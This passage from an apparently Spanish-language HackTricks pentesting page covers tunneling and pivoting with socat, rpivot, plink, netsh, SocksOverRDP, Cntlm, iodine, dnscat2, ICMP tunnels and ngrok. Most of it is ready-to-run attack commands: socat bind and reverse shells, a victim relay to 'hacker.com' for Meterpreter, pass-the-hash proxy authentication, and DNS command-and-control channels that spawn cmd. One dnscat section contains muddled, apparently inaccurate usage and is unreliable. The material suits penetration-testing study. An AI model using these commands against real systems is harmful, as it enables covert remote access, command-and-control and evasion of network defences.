victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45
```
## **Socat**
[https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries)
### Shell de enlace
```bash
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
attacker> socat FILE:`tty`,raw,echo=0 TCP4:<victim_ip>:1337
```
### Shell inversa
```bash
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
```
### Port2Port
Port2Port es una técnica de reenvío de puertos que permite redirigir el tráfico de un puerto local a un puerto remoto a través de una conexión SSH. Esto es útil cuando se necesita acceder a un servicio que se ejecuta en un servidor remoto al que no se puede acceder directamente desde el equipo local.
Para utilizar Port2Port, se debe establecer una conexión SSH con el servidor remoto y especificar el puerto local y el puerto remoto que se desea redirigir. Una vez establecida la conexión, todo el tráfico que llegue al puerto local será redirigido al puerto remoto a través de la conexión SSH.
Por ejemplo, si se desea acceder a un servidor web que se ejecuta en el puerto 80 de un servidor remoto, se puede utilizar Port2Port para redirigir el tráfico del puerto 8080 del equipo local al puerto 80 del servidor remoto a través de una conexión SSH. De esta manera, se puede acceder al servidor web remoto desde el equipo local a través del puerto 8080.
```bash
socat TCP4-LISTEN:<lport>,fork TCP4:<redirect_ip>:<rport> &
```
### Port2Port a través de socks
```bash
socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678
```
### Meterpreter a través de SSL Socat
```bash
#Create meterpreter backdoor to port 3333 and start msfconsole listener in that port
attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333
```
```bash
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
#Execute the meterpreter
```
Puedes saltarte un **proxy no autenticado** ejecutando esta línea en lugar de la última en la consola de la víctima:
```bash
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
```
### Túnel SSL con Socat
**Consola /bin/sh**
Crear certificados en ambos lados: Cliente y Servidor.
```bash
# Execute these commands on both sides
FILENAME=socatssl
openssl genrsa -out $FILENAME.key 1024
openssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crt
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
chmod 600 $FILENAME.key $FILENAME.pem
```
```bash
attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh
victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt
```
### Port2Port Remoto
Conecta el puerto SSH local (22) al puerto 443 del host atacante.
```bash
attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost
victim> while true; do socat TCP4:<attacker>:443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22
attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh of the victim
```
## Plink.exe
Es como una versión de consola de PuTTY (las opciones son muy similares a las de un cliente ssh).
Como este binario se ejecutará en la víctima y es un cliente ssh, necesitamos abrir nuestro servicio ssh y puerto para poder tener una conexión inversa. Luego, para reenviar solo el puerto accesible localmente a un puerto en nuestra máquina:
```bash
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
```
## Windows netsh
### Puerto a puerto
Es necesario ser un administrador local (para cualquier puerto)
```bash
netsh interface portproxy add v4tov4 listenaddress= listenport= connectaddress= connectport= protocol=tcp
# Example:
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=4444 connectaddress=10.10.10.10 connectport=4444
# Check the port forward was created:
netsh interface portproxy show v4tov4
# Delete port forward
netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
```
## SocksOverRDP & Proxifier
Es necesario tener **acceso RDP al sistema**.\
Descarga:
1. [Binarios SocksOverRDP x64](https://github.com/nccgroup/SocksOverRDP/releases) - Esta herramienta utiliza los `Canales Virtuales Dinámicos` (`DVC`) de la función de Servicio de Escritorio Remoto de Windows. DVC es responsable de **tunelizar paquetes a través de la conexión RDP**.
2. [Binario Portátil de Proxifier](https://www.proxifier.com/download/#win-tab)
En tu ordenador cliente carga **`SocksOverRDP-Plugin.dll`** de esta manera:
```bash
# Load SocksOverRDP.dll using regsvr32.exe
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
```
Ahora podemos **conectarnos** al **objetivo** a través de **RDP** usando **`mstsc.exe`**, y deberíamos recibir un **mensaje** que dice que el complemento **SocksOverRDP** está habilitado y que escuchará en **127.0.0.1:1080**.
**Conéctese** a través de **RDP** y cargue y ejecute en la máquina víctima el binario **`SocksOverRDP-Server.exe`**:
```
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
```
Ahora, confirma en tu máquina (atacante) que el puerto 1080 está escuchando:
```
netstat -antb | findstr 1080
```
Ahora puedes usar [**Proxifier**](https://www.proxifier.com/) **para hacer un proxy del tráfico a través de ese puerto.**
## Proxificar aplicaciones GUI de Windows
Puedes hacer que las aplicaciones GUI de Windows naveguen a través de un proxy usando [**Proxifier**](https://www.proxifier.com/).\
En **Perfil -> Servidores Proxy** agrega la dirección IP y el puerto del servidor SOCKS.\
En **Perfil -> Reglas de Proxificación** agrega el nombre del programa a proxificar y las conexiones a las direcciones IP que deseas proxificar.
## Bypass de proxy NTLM
La herramienta mencionada anteriormente: **Rpivot**\
**OpenVPN** también puede evitarlo, configurando estas opciones en el archivo de configuración:
```bash
http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
```
### Cntlm
[http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/)
Cntlm autentica contra un proxy y enlaza un puerto local que se reenvía al servicio externo que especifiques. Luego, puedes usar la herramienta que elijas a través de este puerto.\
Por ejemplo, se puede reenviar el puerto 443.
```
Username Alice
Password P@ssw0rd
Domain CONTOSO.COM
Proxy 10.0.0.10:8080
Tunnel 2222:<attackers_machine>:443
```
Ahora, si configuras, por ejemplo, en la víctima el servicio **SSH** para que escuche en el puerto 443, puedes conectarte a él a través del puerto 2222 del atacante.\
También podrías usar un **meterpreter** que se conecte a localhost:443 y el atacante esté escuchando en el puerto 2222.
## YARP
Un proxy inverso creado por Microsoft. Puedes encontrarlo aquí: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy)
## DNS Tunneling
### Iodine
[https://code.kryo.se/iodine/](https://code.kryo.se/iodine/)
Se necesita acceso de root en ambos sistemas para crear adaptadores tun y tunelizar datos entre ellos utilizando consultas DNS.
```
attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
#You can see the victim at 1.1.1.2
```
El túnel será muy lento. Puedes crear una conexión SSH comprimida a través de este túnel usando:
```
ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
```
### DNSCat2
****[**Descárgalo aquí**](https://github.com/iagox86/dnscat2)**.**
Establece un canal C\&C a través de DNS. No necesita privilegios de root.
```bash
attacker> ruby ./dnscat2.rb tunneldomain.com
victim> ./dnscat2 tunneldomain.com
# If using it in an internal network for a CTF:
attacker> ruby dnscat2.rb --dns host=10.10.10.10,port=53,domain=mydomain.local --no-cache
victim> ./dnscat2 --dns host=10.10.10.10,port=5353
```
#### **En PowerShell**
Puedes usar [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell) para ejecutar un cliente dnscat2 en PowerShell:
```
Import-Module .\dnscat2.ps1
Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd
```
#### **Reenvío de puertos con dnscat**
---
Dnscat es una herramienta que permite el reenvío de puertos a través de DNS. Esto significa que podemos enviar tráfico de red a través de un canal DNS, lo que puede ser útil en situaciones en las que el tráfico de red está restringido o filtrado.
Para utilizar dnscat, necesitamos un servidor DNS que permita la actualización dinámica de registros DNS. Podemos utilizar un servidor DNS público como `nsupdate.info` o configurar nuestro propio servidor DNS.
Una vez que tenemos un servidor DNS configurado, podemos utilizar dnscat para crear un túnel de red. Primero, necesitamos iniciar un servidor dnscat en nuestro servidor DNS:
```
dnscat2 --dns <DNS_SERVER_IP>
```
Esto iniciará un servidor dnscat que escuchará en el puerto 53 de nuestro servidor DNS. A continuación, podemos iniciar un cliente dnscat en nuestra máquina local para conectarnos al servidor:
```
dnscat2 --host <DNS_SERVER_IP>
```
Esto iniciará un cliente dnscat que se conectará al servidor dnscat en nuestro servidor DNS. A partir de aquí, podemos utilizar el túnel de red para enviar tráfico a través de DNS.
Por ejemplo, para reenviar el tráfico del puerto 80 a través del túnel, podemos utilizar el siguiente comando en nuestra máquina local:
```
ssh -R 80:localhost:80 <USERNAME>@<SERVER_IP>
```
Esto reenviará el tráfico del puerto 80 de nuestro servidor al puerto 80 de nuestra máquina local a través del túnel dnscat.
---
**Nota:** Dnscat no es una herramienta segura para el anonimato o la privacidad, ya que el tráfico se envía a través de DNS, lo que puede ser monitoreado y filtrado por los proveedores de servicios de Internet y otros atacantes.
```bash
session -i <sessions_id>
listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host
```
#### Cambiar el DNS de proxychains
Proxychains intercepta la llamada libc `gethostbyname` y tuneliza la solicitud tcp DNS a través del proxy socks. Por **defecto**, el servidor **DNS** que usa proxychains es **4.2.2.2** (codificado). Para cambiarlo, edite el archivo: _/usr/lib/proxychains3/proxyresolv_ y cambie la IP. Si está en un entorno de **Windows**, podría establecer la IP del **controlador de dominio**.
## Túneles en Go
[https://github.com/hotnops/gtunnel](https://github.com/hotnops/gtunnel)
## Tunneling ICMP
### Hans
[https://github.com/friedrich/hans](https://github.com/friedrich/hans)\
[https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel)
Se necesita root en ambos sistemas para crear adaptadores tun y tunelizar datos entre ellos utilizando solicitudes de eco ICMP.
```bash
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
./hans -f -c <server_ip> -p P@ssw0rd -v
ping 1.1.1.100 #After a successful connection, the victim will be in the 1.1.1.100
```
### ptunnel-ng
****[**Descárgalo desde aquí**](https://github.com/utoni/ptunnel-ng.git).
```bash
# Generate it
sudo ./autogen.sh
# Server -- victim (needs to be able to receive ICMP)
sudo ptunnel-ng
# Client - Attacker
sudo ptunnel-ng -p <server_ip> -l <listen_port> -r <dest_ip> -R <dest_port>
# Try to connect with SSH through ICMP tunnel
ssh -p 2222 -l user 127.0.0.1
# Create a socks proxy through the SSH connection through the ICMP tunnel
ssh -D 9050 -p 2222 -l user 127.0.0.1
```
## ngrok
**[ngrok](https://ngrok.com/) es una herramienta para exponer soluciones a Internet en una sola línea de comando.**
*Las URI de exposición son como:* **UID.ngrok.io**
### Instalación
- Crear una cuenta: https://ngrok.com/signup
- Descargar el cliente:
```bash
tar xvzf ~/Downloads/ngrok-v3-stable-linux-amd64.tgz -C /usr/local/bin
chmod a+x ./ngrok
# Init configuration, with your token
./ngrok config edit
```
### Usos básicos
**Documentación:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/).
*También es posible agregar autenticación y TLS, si es necesario.*
#### Tunelización TCP
```bash
# Pointing to 0.0.0.0:4444
./ngrok tcp 4444
# Example of resulting link: 0.tcp.ngrok.io:12345
# Listen (example): nc -nvlp 4444
# Remote connect (example): nc $(dig +short 0.tcp.ngrok.io) 12345
```
#### Exponiendo archivos con HTTP
```bash
./ngrok http file:///tmp/httpbin/
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
```
#### Sniffing de llamadas HTTP
*Útil para XSS, SSRF, SSTI ...*
Directamente desde stdout o en la interfaz HTTP [http://127.0.0.1:4040](http://127.0.0.1:4000).
#### Tunelización de servicio HTTP interno
```bash
./ngrok http localhost:8080 --host-header=rewrite
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
# With basic auth
./ngrok http localhost:8080 --host-header=rewrite --auth="myuser:mysuperpassword"
```
#### Ejemplo de configuración simple de ngrok.yaml
Abre 3 túneles:
- 2 TCP
- 1 HTTP con exposición de archivos estáticos desde /tmp/httpbin/
```yaml
tunnels:
mytcp:
addr: 4444
proto: tcp
anothertcp:
addr: 5555
proto: tcp
httpstatic:
proto: http
addr: file:///tmp/httpbin/
```
## Otras herramientas para revisar
* [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf)
* [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>